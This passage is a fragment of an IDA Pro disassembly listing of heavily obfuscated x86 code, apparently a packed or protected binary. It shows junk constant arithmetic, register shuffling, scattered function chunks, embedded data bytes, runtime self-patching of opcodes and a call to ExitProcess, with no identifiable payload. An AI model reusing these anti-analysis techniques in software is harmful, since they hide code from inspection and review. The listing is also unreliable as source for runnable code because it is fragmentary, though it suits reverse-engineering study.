[esp] mov eax, esi pop esi ; START OF FUNCTION CHUNK FOR sub_10027AB8 loc_1002790A: ; CODE XREF: sub_10027AB8+D0Ej sub eax, 3C358892h xor eax, 0C525D9E8h or eax, 0C3552E0Bh and eax, 7EC56EE7h add eax, 99BC325Ah jmp sub_10027275 ; END OF FUNCTION CHUNK FOR sub_10027AB8 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] align 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] dw 8700h dd 815E2434h, 0E0751FC0h, 0FB4FE893h, 0EF13FFFFh, 0FFFFEAE9h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10027949 proc near ; CODE XREF: _3a14gzkz:10026EDFj ; sub_1002735F+414p xchg eax, [esp+0] pop eax mov eax, [eax] push offset loc_10027179 jmp nullsub_180 sub_10027949 endp ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 dd 404E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_10027962: ; CODE XREF: _3a14gzkz:100271B1j jmp loc_10027217 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF657h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] align 10h loc_10027970: ; CODE XREF: _3a14gzkz:1002761Ej jmp loc_10027ED4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10027975: ; CODE XREF: sub_10027C41:loc_10028678j mov byte ptr [eax], 8Bh pop eax push ebp loc_1002797A: ; DATA XREF: sub_10027C41:loc_10028581o inc eax in al, dx push offset loc_10026F12 jmp nullsub_213 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- retf 3B1Ah ; --------------------------------------------------------------------------- db 82h dd 0FAC9E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027795 loc_10027992: ; CODE XREF: sub_10027795+Aj push 958B1E2h xchg ebp, [esp+4+var_4] mov edx, ebp pop ebp rol edx, 0Bh add edx, 39C3AAAh jmp loc_10029403 ; END OF FUNCTION CHUNK FOR sub_10027795 ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_100279AD proc near ; CODE XREF: sub_10027275+9p ; _3a14gzkz:10027B1Dj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1002700D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1002742C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10027B80 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10027B9C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100283AF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028C66 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10028DC6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002969E SIZE 00000026 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] mov edi, offset loc_10027B86 jmp loc_10027B80 sub_100279AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- or edx, 0E159EC37h test edx, 40000000h jmp loc_100291C9 ; --------------------------------------------------------------------------- align 10h dd 4DC3F700h, 0E96861BEh, 1747h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_100279DD: ; CODE XREF: sub_10027810+741j push edx loc_100279DE: ; CODE XREF: _3a14gzkz:loc_10029797j mov edx, offset byte_10029467 jmp loc_10028AE4 ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- dd 0F86C820Fh, 0A4E9FFFFh, 0 dword_100279F4 dd 24048700h, 1BE75958h, 0E9241C87h, 0C0Eh, 303C600h, 8D69685Bh ; DATA XREF: _3a14gzkz:10029838o dd 63E91002h, 19h, 815B9900h, 0BE486CF2h, 0FF9CE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10027A22: ; DATA XREF: _3a14gzkz:100276F0o push 0F9CDF224h pop ecx and ecx, 643485C6h add ecx, 35316340h jmp loc_10027508 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10027A3B: ; CODE XREF: sub_100273B0:loc_100287A0j add ecx, 17AF0B89h xchg ecx, [esp+8+var_8] jmp sub_10028DD4 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- lea eax, byte_10027125+2 loc_10027A4F: ; DATA XREF: sub_100273B0+6o mov byte ptr [eax], 0C3h call locret_10027D57 jmp loc_10029251 ; --------------------------------------------------------------------------- dd 744B59B8h, 69F18111h, 0E9E5C76Bh, 0FFFFFDEEh, 77680000h dd 0E9100296h, 5DEh, 9C03C600h, 3C0C15Bh, 55FAC081h, 850FD350h dd 4F8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10027A8C: ; CODE XREF: sub_10028AC5+C57j jmp loc_10028341 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- popf jmp loc_10028509 ; --------------------------------------------------------------------------- cmp esi, eax jmp loc_1002954B ; --------------------------------------------------------------------------- loc_10027A9E: ; CODE XREF: _3a14gzkz:100276DDj add eax, 0CB399CB3h xor eax, 6F108B6h add eax, ebp push ecx push 0D3965D9Ch jmp loc_10028F6F ; --------------------------------------------------------------------------- loc_10027AB7: ; CODE XREF: _3a14gzkz:10028214j popf ; =============== S U B R O U T I N E ======================================= sub_10027AB8 proc near ; CODE XREF: _3a14gzkz:10028480p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 1002790A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100287A5 SIZE 00000026 BYTES xchg edx, [esp+0] pop edx xchg ebp, [esp-4+arg_0] mov edi, ebp pop ebp jmp loc_100287A5 sub_10027AB8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi ; =============== S U B R O U T I N E ======================================= sub_10027AC8 proc near ; CODE XREF: sub_1002781D:loc_10026F8Cp ; FUNCTION CHUNK AT 10028EF1 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov byte ptr [ebx], 9Ch jmp loc_10028EF1 sub_10027AC8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 879D0000h, 875E2434h, 0CFE9240Ch, 0Ah, 1A28E800h, 0C2810000h dd 22EECDBDh, 1487128Bh, 0A4CE824h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_10027AFB: ; CODE XREF: sub_10029475-17C0j jmp loc_10028DDC ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027B00: ; CODE XREF: sub_1002707B:loc_100296F1j xchg edx, [esp+0] mov eax, edx pop edx or eax, 28475D0Eh jmp loc_1002767C ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 2 mov eax, 3F4E5C28h jns loc_10028A5A jmp sub_100279AD ; --------------------------------------------------------------------------- dw 0C300h dd 68530000h, 0CB301B7Fh, 99E3815Bh, 811A9DBDh, 48B5AFBh dd 1887E914h, 0E99C0000h, 1A34h off_10027B44 dd offset sub_100299B9 ; DATA XREF: _3a14gzkz:10027390o dd 0 dword_10027B4C dd 116h dd 0FD6CE900h, 0FFFFh, 0FFFCD6E9h, 0FFh, 6760ED1Ah db 0 ; --------------------------------------------------------------------------- loc_10027B65: ; CODE XREF: _3a14gzkz:10029750j jmp locret_10027CE1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10027B6C: ; CODE XREF: sub_1002781D-87Cj jmp loc_10026EE4 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 2 dw 14FCh dd 0C18B5024h, 0E9240487h, 0FFFFF80Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10027B80: ; CODE XREF: sub_100279AD+Cj mov byte ptr [edi], 87h pop edi mov edx, eax loc_10027B86: ; DATA XREF: sub_100279AD+7o jnp short loc_10027B9C and al, 56h push 80CA2B7Ah jmp loc_10028C66 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dd 0C303C600h, 2434875Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10027B9C: ; CODE XREF: sub_100279AD:loc_10027B86j push esi pop ebp pop esi mov ecx, 0FDE90000h adc [eax], eax ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028B63 loc_10027BA8: ; CODE XREF: sub_10028B63+19j jmp near ptr dword_10027558+0Fh ; END OF FUNCTION CHUNK FOR sub_10028B63 ; --------------------------------------------------------------------------- jmp loc_1002902C ; --------------------------------------------------------------------------- align 4 dd 0FE3BE95Eh, 0FFFFh ; --------------------------------------------------------------------------- loc_10027BBC: ; CODE XREF: _3a14gzkz:loc_10027E3Aj xchg eax, [esp] push ebx mov ebx, ecx xchg ebx, [esp] jmp loc_100275FD ; --------------------------------------------------------------------------- dw 6800h dd 0DE5BB1F2h, 6FE9CF87h, 9, 9EE99C00h, 81000000h, 358892E8h ; CODE XREF: sub_10029299+8j dd 0D0F8813Ch, 0E999299Fh, 0C06h, 87F28B56h db 34h, 24h word_10027BF6 dw 6847h ; DATA XREF: sub_1002781D-9A1o dd offset byte_10028BDF dd 0FFF146E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- loc_10027C05: ; DATA XREF: sub_1002964F+4o mov byte ptr [ecx], 87h pop ecx add edx, 36210866h dec esi retn 8F5Ah ; DATA XREF: _3a14gzkz:100284C7o ; --------------------------------------------------------------------------- add al, 24h ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10027C15: ; CODE XREF: sub_10028A10-3EAj ; sub_10028DD4+536j or edx, edx jmp loc_1002932F ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 56108B00h, 33CCC168h, 241C8793h, 1492E9h db 0 ; --------------------------------------------------------------------------- loc_10027C2D: ; CODE XREF: _3a14gzkz:10028209j add esi, ebx pop ebx loc_10027C30: ; DATA XREF: sub_1002735F:loc_10028AEBo outsd db 36h call sub_10027CEA ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10027C39: ; CODE XREF: sub_10028ED3-E83j jmp nullsub_192 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- rol edx, 19h ; =============== S U B R O U T I N E ======================================= sub_10027C41 proc near ; CODE XREF: _3a14gzkz:loc_100280CEp ; FUNCTION CHUNK AT 10027502 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10027975 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10028581 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028678 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100291E1 SIZE 00000011 BYTES xchg edi, [esp+0] pop edi mov byte ptr [eax], 87h pop eax pop esi or edi, 99D583F0h jmp loc_100291E1 sub_10027C41 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- jmp sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0BED80h, 0E9CD8B00h, 16AAh db 0 ; --------------------------------------------------------------------------- loc_10027C6D: ; CODE XREF: _3a14gzkz:10027212j push 9912B3A6h push esi mov esi, offset loc_10028739 jmp loc_1002775E ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 8B240487h, 58D58C8h, 10028707h, 0FFFA52E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10027C93: ; CODE XREF: _3a14gzkz:loc_1002906Dj push ecx push 0E2C7BD47h pop ecx and ecx, 7D30CE8h call sub_10028A10 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_10027CA6: ; CODE XREF: sub_10029475:loc_100296D6j and esi, 185078C5h rol esi, 2 cmp esi, 0F2D47C1h jmp loc_10027AFB ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- dw 9D00h ; --------------------------------------------------------------------------- jmp sub_100276FC ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 11E99D00h db 8, 2 dup(0) ; --------------------------------------------------------------------------- locret_10027CCB: ; CODE XREF: _3a14gzkz:loc_10028092j retn ; --------------------------------------------------------------------------- loc_10027CCC: ; CODE XREF: _3a14gzkz:10029031j jmp near ptr dword_10026DC8+17h ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF034h, 0DD2B0000h, 15B8E9h db 0 ; --------------------------------------------------------------------------- locret_10027CE1: ; CODE XREF: _3a14gzkz:loc_10027B65j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10027CE3: ; CODE XREF: _3a14gzkz:10028C37j call sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10027CEA proc near ; CODE XREF: _3a14gzkz:10027C31p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10027E5C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg esi, [esp-4+arg_0] call ds:dword_1001E0C0 ; ExitProcess push edx push 0B75B9089h pop edx jmp loc_10027D95 ; --------------------------------------------------------------------------- push 6F4F1C94h mov al, 2Ch and al, 55h pop eax pop ebp loc_10027D0E: ; CODE XREF: _3a14gzkz:10029551j sub eax, 3C358892h xor eax, 0C525D9E8h jmp near ptr dword_1002759C+2 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_10027D21: ; CODE XREF: _3a14gzkz:10028F87j pop ecx push offset word_10029272 jmp loc_10027E5C ; --------------------------------------------------------------------------- dd 0E8F08100h, 81C525D9h, 552E0BC8h, 0BA3E9C3h, 50000000h dd 0AF47E668h, 0F8E6E821h, 8B00FFFFh, 1C875AF2h, 5BEB8B24h ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- locret_10027D57: ; CODE XREF: _3a14gzkz:10027A52p ; _3a14gzkz:1002873Cp ... retn ; --------------------------------------------------------------------------- dd offset loc_10028C14 dword_10027D5C dd 0FFF93EE9h, 230000FFh, 240C87CFh, 8706C659h, 8B240487h dd 0F390E9F0h, 0C80BFFFFh, 5F243C87h, 87FA8B57h, 0CBE9243Ch dd 87000004h, 0EB92414h, 0E9100289h, 0FFFFF1A2h db 0 ; --------------------------------------------------------------------------- loc_10027D95: ; CODE XREF: sub_10027CEA+14j and edx, 7486AC45h push offset loc_10029613 jmp nullsub_211 sub_10027CEA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h mov ebx, eax pop eax and ebx, 4824E34Ch jmp loc_10028CE5 ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- loc_10027DBA: ; CODE XREF: _3a14gzkz:100278B1j jmp near ptr dword_10026D18+55h ; --------------------------------------------------------------------------- align 10h dd 57C18700h, 1886E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10027DCD: ; CODE XREF: sub_1002781D+1EC7j push edi push 7552D5EBh pop edi add edi, 69066E5Bh and edi, 0F50A57B6h xor edi, 9AB9E4B0h jmp loc_100285AB ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 4 jb loc_10028B6A ; =============== S U B R O U T I N E ======================================= sub_10027DF2 proc near ; CODE XREF: sub_100289FE-19A3p xchg esi, [esp+0] pop esi call eax loc_10027DF8: ; CODE XREF: _3a14gzkz:loc_1002752Aj ; _3a14gzkz:loc_100293F1j push offset loc_100295A6 jmp nullsub_220 sub_10027DF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- or al, 24h pop ecx xchg eax, [esp] call loc_10028CD4 ; START OF FUNCTION CHUNK FOR sub_100284E2 loc_10027E0F: ; CODE XREF: sub_100284E2+Dj jmp nullsub_228 ; END OF FUNCTION CHUNK FOR sub_100284E2 ; --------------------------------------------------------------------------- dd 8793BF00h, 68E9748Bh, 19h, 0E9C38100h, 81E17EFDh, 472411F3h dd 4CB815Bh, 0E8E8BBB8h, 144Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_10027E3A: ; CODE XREF: _3a14gzkz:10028F62j jmp loc_10027BBC ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10027E41: ; CODE XREF: sub_10028DD4-4D7j jmp loc_10028C4D ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dw 0E900h dd 131Fh, 0D4BB0000h, 0E9100296h, 0FFFFEE90h, 0C30000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027CEA loc_10027E5C: ; CODE XREF: sub_10027CEA+3Dj jmp nullsub_221 ; END OF FUNCTION CHUNK FOR sub_10027CEA ; --------------------------------------------------------------------------- db 68h, 0FFh, 11h dd 1C879768h, 5BF38B24h, 0E919C6C1h, 0FFFFFCDDh, 0DA230000h dd 107BE9h, 5DE95A00h, 13000000h, 0F0CE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10027E8A: ; CODE XREF: sub_100273B0:loc_10028069j mov byte ptr [ecx], 0C6h pop ecx push ecx lea eax, byte_10028707 push ecx push 32CFB605h pop ecx jmp loc_10028487 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h dd 0D87h ; --------------------------------------------------------------------------- loc_10027EA8: ; CODE XREF: _3a14gzkz:loc_10028523j mov edi, offset loc_10029224 jmp loc_10028F51 ; --------------------------------------------------------------------------- dd offset loc_10018A0E+1 align 4 jmp sub_10028CB7 ; --------------------------------------------------------------------------- align 2 and esi, ebx jmp sub_10029627 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 dd 0FFFB38E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10027ECE: ; CODE XREF: _3a14gzkz:10027EDAj jmp loc_10028889 ; --------------------------------------------------------------------------- align 4 loc_10027ED4: ; CODE XREF: _3a14gzkz:loc_10027970j push ecx mov ecx, offset loc_10028612 jmp loc_10027ECE ; --------------------------------------------------------------------------- align 10h dd 5B241C87h, 0A43C2AF6h, 0EEDA850Fh, 9E9FFFFh, 0FFFFF6h dd 5E243487h, 8B240C87h, 4BE953E9h, 0FFFFFFh, 0F7D58700h dd 148DC0C5h, 0EF2E9A2h db 3 dup(0) ; --------------------------------------------------------------------------- loc_10027F13: ; DATA XREF: _3a14gzkz:1002717Bo pushf push offset byte_10028429 jmp locret_10028426 ; --------------------------------------------------------------------------- loc_10027F1E: ; DATA XREF: _3a14gzkz:10027F34o xchg ecx, [esp] mov ebp, ecx call sub_100284AA loc_10027F28: ; CODE XREF: _3a14gzkz:100294FFj jmp loc_10028020 ; --------------------------------------------------------------------------- align 2 xchg ebp, [esp] mov ecx, ebp pop ebp push offset loc_10027F1E jmp locret_100285A2 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10027F40: ; CODE XREF: sub_10027810+7j ; DATA XREF: _3a14gzkz:10028247o or [ebp+12DFh], eax xchg edx, [esp-4+arg_0] mov ecx, edx pop edx xchg ebx, [esp-8+arg_4] mov esi, ebx jmp loc_100279DD ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- align 4 dd 2951C68h, 0FD71E910h, 6800FFFFh, 100297B3h, 0FFFE4CE9h dd 8D0F00FFh, 13F7h, 0E9F33B00h, 7D5h ; --------------------------------------------------------------------------- locret_10027F7C: ; CODE XREF: _3a14gzkz:10026F1Aj retn ; --------------------------------------------------------------------------- align 2 loc_10027F7E: ; CODE XREF: _3a14gzkz:10028517j jp loc_10027820 and eax, 0BDDDAC4h loc_10027F8A: ; CODE XREF: _3a14gzkz:loc_10027231j jnz loc_100290F5 jns loc_1002861D cmp ebp, 3446D648h jmp loc_10029797 ; --------------------------------------------------------------------------- align 2 loc_10027FA2: ; CODE XREF: _3a14gzkz:10029005j push esi push 2C613AF3h pop esi sub esi, 0EDAF0D26h or esi, 0C940111Ah add esi, 10102D15h jmp loc_10026D12 ; --------------------------------------------------------------------------- dd 4E685700h, 5FB57617h, 7B0EF81h, 0C7C1E65Ch, 0DC7811Ah dd 0E994C606h, 1CBh, 34870000h, 128B5E24h, 26E2A68h, 0F617E910h dd 8B00FFFFh, 0F72CE917h, 0FFFFh, 1487EA8Bh, 5685A24h dd 871C983Ch, 0C88B2404h, 11C98158h, 0E9A7424Ch, 1730h dd 57850F00h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_1002801B: ; CODE XREF: _3a14gzkz:100286BCj jmp loc_10028C2F ; --------------------------------------------------------------------------- loc_10028020: ; CODE XREF: _3a14gzkz:loc_10027F28j mov byte ptr [edx], 0FFh pop edx push esi push 85C44378h pop esi or esi, 0D6EB6F36h jmp loc_100296D6 ; --------------------------------------------------------------------------- loc_10028036: ; CODE XREF: _3a14gzkz:10028F4Bj mov byte ptr [edi], 3 pop edi and eax, 1D7D796Fh push offset byte_10028113 jmp locret_100286AA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_1002804B: ; CODE XREF: sub_10028ED3:loc_1002982Ej push offset sub_100273B0 jmp loc_10027C39 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_10028057: ; CODE XREF: sub_100275B2+1B08j jmp loc_100295D3 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_1002805C: ; CODE XREF: sub_10028AC5-770j jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028063: ; CODE XREF: _3a14gzkz:loc_10026D12j xchg esi, [esp] retn ; --------------------------------------------------------------------------- locret_10028067: ; CODE XREF: _3a14gzkz:loc_10028975j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10028069: ; CODE XREF: sub_100273B0+Bj jmp loc_10027E8A ; END OF FUNCTION CHUNK FOR sub_100273B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] align 10h db 0 ; --------------------------------------------------------------------------- loc_10028071: ; DATA XREF: _3a14gzkz:10029099o xchg edx, [esp] pop edx or edx, edx jz loc_10028082 call sub_1001E134 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028082: ; CODE XREF: sub_10028DD4:loc_10026CABj ; _3a14gzkz:10028077j pop eax jmp loc_10028A92 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10028089: ; CODE XREF: sub_10028EFA-917j ; sub_10028AC5+8j ... push eax jmp loc_10026FD0 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- align 10h db 0, 0C3h ; --------------------------------------------------------------------------- loc_10028092: ; CODE XREF: _3a14gzkz:1002909Ej jmp locret_10027CCB ; --------------------------------------------------------------------------- align 4 jmp locret_100283FA ; --------------------------------------------------------------------------- db 50h, 8Bh, 0C3h dd 0E9240487h, 0FFFFF002h db 2 dup(0) ; --------------------------------------------------------------------------- loc_100280AA: ; CODE XREF: _3a14gzkz:100274AFj jnz locret_100274FA jmp loc_100282ED ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 mov byte ptr [esi], 0C6h xchg eax, [esp] mov esi, eax pop eax lea eax, locret_10027D57 jmp loc_100289EC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_100280CE: ; CODE XREF: _3a14gzkz:loc_1002778Fj call sub_10027C41 add cl, ch rol dword ptr [eax], 0 ; --------------------------------------------------------------------------- dd 0B8680000h, 0E9100280h, 901h ; CODE XREF: _3a14gzkz:loc_10029603j dword_100280E4 dd 479E850h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_100280EC: ; CODE XREF: sub_10029475:loc_10028DE2j push offset dword_10029800 jmp loc_100291CF ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- db 0 byte_100280F7 db 52h ; DATA XREF: sub_1002812C+Do dd 294F3BAh, 0FDA1E910h, 8B00FFFFh, 242C87EAh, 2751EBAh dd 0FA9BE910h db 2 dup(0FFh), 0 byte_10028113 db 81h ; DATA XREF: _3a14gzkz:10028040o dd 41315DF0h, 0E8C5033Ah, 11F6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_10028121: ; CODE XREF: sub_1002957A+5j jmp loc_100281CC ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028126: ; CODE XREF: sub_1002812C+934j jmp loc_10028608 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1002812C proc near ; CODE XREF: _3a14gzkz:100277B7p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10026DED SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10027076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100277DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028608 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1002868E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002877C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100287D4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100289BB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10028A5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10029225 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10029569 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10029756 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100297AC SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xor edx, eax push edx jnz loc_10029225 push offset byte_100280F7 jmp nullsub_223 sub_1002812C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10028143 proc near ; CODE XREF: _3a14gzkz:loc_10029573p xchg eax, [esp+0] pop eax mov byte ptr [edx], 0Fh pop edx jmp loc_10026CF2 sub_10028143 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10028150 proc near ; CODE XREF: sub_10028A3B:loc_1002770Ap ; FUNCTION CHUNK AT 10028277 SIZE 00000011 BYTES xchg ecx, [esp+0] xchg edx, [esp+0] mov ecx, edx pop edx pushf push 0D202A973h pop eax jmp loc_10028277 sub_10028150 endp ; --------------------------------------------------------------------------- mov byte ptr [ebx], 3 pop ebx mov eax, ecx call sub_100284E2 locret_10028170: ; CODE XREF: _3a14gzkz:loc_100277E4j retn ; --------------------------------------------------------------------------- align 2 jmp loc_10028B4E ; --------------------------------------------------------------------------- align 4 dd 0B2C28100h, 68A01F8Dh, 10026FEAh, 6F3E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10028189: ; CODE XREF: sub_10028ED3-1680j xchg esi, [esp+4+var_4] push ebx push 0F8DF18C5h xchg edx, [esp+0Ch+var_C] jmp loc_10026EC4 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dw 18E8h dd 0Bh, 0CD3E9h, 0E9000000h, 0FFFFEB12h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_100281AC: ; CODE XREF: sub_100289FE+Cj pop ebx sub ebx, 8E352D58h rol ebx, 5 or ebx, 8ED51BDDh add ebx, 0B214775h add ecx, ebx pop ebx mov ecx, [ecx] jmp loc_10028D31 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_100281CC: ; CODE XREF: sub_1002957A:loc_10028121j push 0AC5A3F4Fh pop ebx and ebx, 0F6DF3EA0h xor ebx, 0A42D639Bh or ebx, 0BB3B3D35h add ebx, 54830521h jmp 